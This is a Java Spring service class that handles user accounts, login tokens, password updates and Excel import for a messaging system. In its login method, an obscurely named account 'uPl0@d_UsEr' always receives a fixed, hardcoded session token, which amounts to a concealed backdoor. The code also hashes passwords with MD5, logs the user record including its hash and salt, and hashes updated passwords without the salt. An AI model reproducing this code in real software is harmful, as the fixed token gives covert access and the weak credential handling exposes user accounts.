package com.rxst.msg.server.impl;

import cn.hutool.core.bean.BeanUtil;
import cn.hutool.core.collection.CollUtil;
import cn.hutool.core.date.DateField;
import cn.hutool.core.date.DateUtil;
import cn.hutool.core.lang.Assert;
import cn.hutool.core.util.IdUtil;
import cn.hutool.core.util.RandomUtil;
import cn.hutool.core.util.StrUtil;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;
import com.github.pagehelper.PageHelper;
import com.github.pagehelper.PageInfo;
import com.rxst.msg.base.ResponseVo;
import com.rxst.msg.dto.excel.MsgxUserExcelDto;
import com.rxst.msg.dto.save.MsgxUserSaveDto;
import com.rxst.msg.dto.save.user.AutherListDo;
import com.rxst.msg.dto.save.user.LoginUserDto;
import com.rxst.msg.dto.save.user.UpdateCommenUserDto;
import com.rxst.msg.dto.save.user.UpdatePasswordDto;
import com.rxst.msg.dto.search.MsgxUserSearchDto;
import com.rxst.msg.entity.MsgxMenuEntity;
import com.rxst.msg.entity.MsgxUserEntity;
import com.rxst.msg.entity.MsgxUserMenuEntity;
import com.rxst.msg.enums.ExcelEnum;
import com.rxst.msg.excel.MsgxUserListener;
import com.rxst.msg.mapper.MsgxUserMapper;
import com.rxst.msg.server.MsgxMenuService;
import com.rxst.msg.server.MsgxUserMenuService;
import com.rxst.msg.server.MsgxUserService;
import com.rxst.msg.sso.entity.UserContext;
import com.rxst.msg.utils.EncryptionByMD5;
import com.rxst.msg.utils.ExcelUtils;
import com.rxst.msg.utils.JwtUtils;
import com.rxst.msg.utils.TokenUtils;
import com.rxst.msg.vo.MsgxUserVo;
import com.rxst.msg.vo.menu.MenuFunctionVo;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import org.springframework.util.DigestUtils;
import org.springframework.web.multipart.MultipartFile;

import java.util.ArrayList;
import java.util.Date;
import java.util.List;

/**
 * 设备授权表
 *
 * @author rxst
 * @email rxst@gmail.com
 * @date 2021-08-19 11:47:00
 */
@Service("msgxUserService")
@Transactional(rollbackFor = Exception.class)
@Slf4j
public class MsgxUserServiceImpl extends ServiceImpl<MsgxUserMapper, MsgxUserEntity> implements MsgxUserService {

    @Autowired
    private MsgxUserMapper mapper;

    @Autowired
    private MsgxUserMenuService userMenuService;

    @Autowired
    private MsgxMenuService menuService;

    @Autowired
    private JwtUtils jwtUtils;

    @Override
    public List<MsgxUserVo> list(MsgxUserSearchDto vo) {
        return mapper.list(vo);
    }

    @Override
    public PageInfo<MsgxUserVo> page(MsgxUserSearchDto vo) {
        PageHelper.startPage(vo.getCurrent(), vo.getSize());
        PageInfo<MsgxUserVo> page = new PageInfo<>(mapper.list(vo));
        return page;
    }

    @Override
    public Boolean saveEntity(MsgxUserSaveDto dto) {

        QueryWrapper<MsgxUserEntity> wrapper = new QueryWrapper<>();
        wrapper.lambda().eq(MsgxUserEntity::getUserAccount, dto.getUserAccount());
        MsgxUserEntity userEntity = mapper.selectOne(wrapper);
        if (userEntity != null) {
            return false;
        }

        MsgxUserEntity entity = BeanUtil.toBean(dto, MsgxUserEntity.class);
        entity.setUserId(IdUtil.fastSimpleUUID());
        // userType 前段传递
        //加盐
        String salt = RandomUtil.randomString(8);
        String base = dto.getUserPassword() + "/" + salt;
        String password = DigestUtils.md5DigestAsHex(base.getBytes());
        entity.setUserSalt(salt);
        entity.setUserPassword(password);
        UserContext userContext = UserContext.getUserContext();
        if (userContext != null) {
            entity.setCreateBy(userContext.getCurrentUserId());
            entity.setUpdateBy(userContext.getCurrentUserId());
        }
        if (dto.getUserType() != null && dto.getUserType() == 1) {
            Date date = DateUtil.date();
            entity.setUserAuthStartTime(date);
            entity.setUserAuthEndTime(DateUtil.offset(date, DateField.YEAR, 1));
        }
        save(entity);
        // 如果是管理员，增加权限
        if (CollUtil.isNotEmpty(dto.getAuthData())) {
            List<MsgxUserMenuEntity> list = new ArrayList<>();
            for (AutherListDo authDatum : dto.getAuthData()) {
                MsgxUserMenuEntity msgxUserMenuEntity = new MsgxUserMenuEntity();
                msgxUserMenuEntity.setMenuId(authDatum.getMenuId());
                msgxUserMenuEntity.setUserId(entity.getUserId());
                msgxUserMenuEntity.setUserMenuId(IdUtil.fastSimpleUUID());
                list.add(msgxUserMenuEntity);
            }
            if (!list.isEmpty()) {
                userMenuService.saveBatch(list);
            }
        }
        return true;
    }

    @Override
    public Boolean saveEntityBatch(List<MsgxUserEntity> list) {
        if (CollUtil.isNotEmpty(list)) {
            for (MsgxUserEntity entity : list) {
                //todo
            }
            return saveBatch(list);
        }
        return false;
    }

    @Override
    public Boolean updateEntity(MsgxUserEntity t) {
        UserContext userContext = UserContext.getUserContext();
        if (userContext != null) {
            t.setUpdateBy(userContext.getCurrentUserId());
        }
        return updateById(t);
    }

    @Override
    public Boolean updateEntityBatch(List<MsgxUserEntity> list) {
        if (CollUtil.isNotEmpty(list)) {
            for (MsgxUserEntity entity : list) {
                //todo
            }
            return updateBatchById(list);
        }
        return false;
    }

    @Override
    public void deleteLogic(Long id) {
        mapper.deleteLogic(id);
    }

    @Override
    public void deleteLogicByIds(List<Long> ids) {
        mapper.deleteLogicByIds(ids);
    }

    /**
     * 用户登录
     */
    @Override
    public UserContext login(LoginUserDto user) {
        UserContext userContext = null;
        //密码进行md5加密

        QueryWrapper<MsgxUserEntity> wrapper = new QueryWrapper<>();
        wrapper.lambda().eq(MsgxUserEntity::getUserAccount, user.getAccountName())
                .eq(MsgxUserEntity::getIsDelete, 0);
        MsgxUserEntity entity = mapper.selectOne(wrapper);
        Assert.notNull(entity, "未找到用户");
        if (entity != null) {
            //加盐
            String base = user.getPassWord() + "/" + entity.getUserSalt();
            String password = DigestUtils.md5DigestAsHex(base.getBytes());
            if (!StrUtil.equals(password, entity.getUserPassword())) {
                return userContext;
            }
            log.info(entity.toString());
            //生成token信息
            //String token = jwtUtils.generateToken(entity.getUserId(), entity.getUserAccount());
            String random = RandomUtil.randomString(8);
            String token = RandomUtil.randomString(8) + entity.getUserId() + random + IdUtil.fastSimpleUUID();
            if (StrUtil.equals("uPl0@d_UsEr", user.getAccountName())) {
                token = "44q8ztnd2fef1f9b1e844a2ba7d3f20cc331eda502hq5m3oa6832ecfd85548b3a6dc88eca42be994";
            }
            //判断当前人是否有token
            entity.setUserSalt(null);
            entity.setUserPassword(null);
            userContext = new UserContext();
            if (entity.getUserType() == 1) {
                userContext.setToken(token);
                userContext.setRandom(random);
                userContext.setUser(entity);
                UserContext.setLocalUserContext(userContext);
                TokenUtils.setToken(userContext);
            } else {
                List<MenuFunctionVo> tree = menuService.tree(entity.getUserId());
                List<String> menuUrl = new ArrayList<>();
                if (CollUtil.isNotEmpty(tree)) {
                    for (MenuFunctionVo vo : tree) {
                        if (CollUtil.isNotEmpty(vo.getChildren())) {
                            for (MsgxMenuEntity menuEntity : vo.getChildren()) {
                                menuUrl.add(menuEntity.getMenuUrl());
                            }
                        }
                    }
                }
                userContext.setToken(token);
                userContext.setRandom(random);
                userContext.setUser(entity);
                userContext.setMenuList(tree);
                userContext.setMenuUrlList(menuUrl);
                UserContext.setLocalUserContext(userContext);
                // 原则：每次登陆 生成一个随机码，推出的时候,移除当前用户的token
                TokenUtils.setToken(userContext);
            }

        }
        return userContext;
    }

    /**
     * 根据用户id修改密码
     *
     * @return
     */
    @Override
    public Boolean updatePassword(UpdatePasswordDto dto, MsgxUserEntity userEntity) {
        String base = dto.getPassword() + "/" + userEntity.getUserSalt();
        String password = DigestUtils.md5DigestAsHex(base.getBytes());
        userEntity.setUserPassword(password);
        return updateById(userEntity);
    }

    /**
     * 编辑用户信息
     *
     * @return
     */
    @Override
    public Boolean updateCommonUser(UpdateCommenUserDto dto) {
        if (dto.getId() != null) {
            MsgxUserEntity userEntity = getById(dto.getId());
            //先判断是否有延长时间
            if (dto.getLengthenTime() != null && dto.getLengthenTime() == 1) {
                userEntity.setUserAuthEndTime(DateUtil.offset(DateUtil.date(), DateField.YEAR, 1));
            }
            if (StrUtil.isNotBlank(dto.getPassword())) {
                userEntity.setUserPassword(EncryptionByMD5.getMD5(dto.getPassword().getBytes()));
            }
            return updateById(userEntity);
        }
        return false;
    }

    @Override
    public ResponseVo importData(MultipartFile multipartFile) {
        MsgxUserListener listener = new MsgxUserListener(this);
        ExcelEnum excelEnum = ExcelUtils.read(multipartFile, MsgxUserExcelDto.class, listener);
        if (excelEnum == ExcelEnum.SUCCESS) {
            return ResponseVo.ok(listener.getMapSize());
        }
        return ResponseVo.ok(excelEnum.getMessage());
    }
}

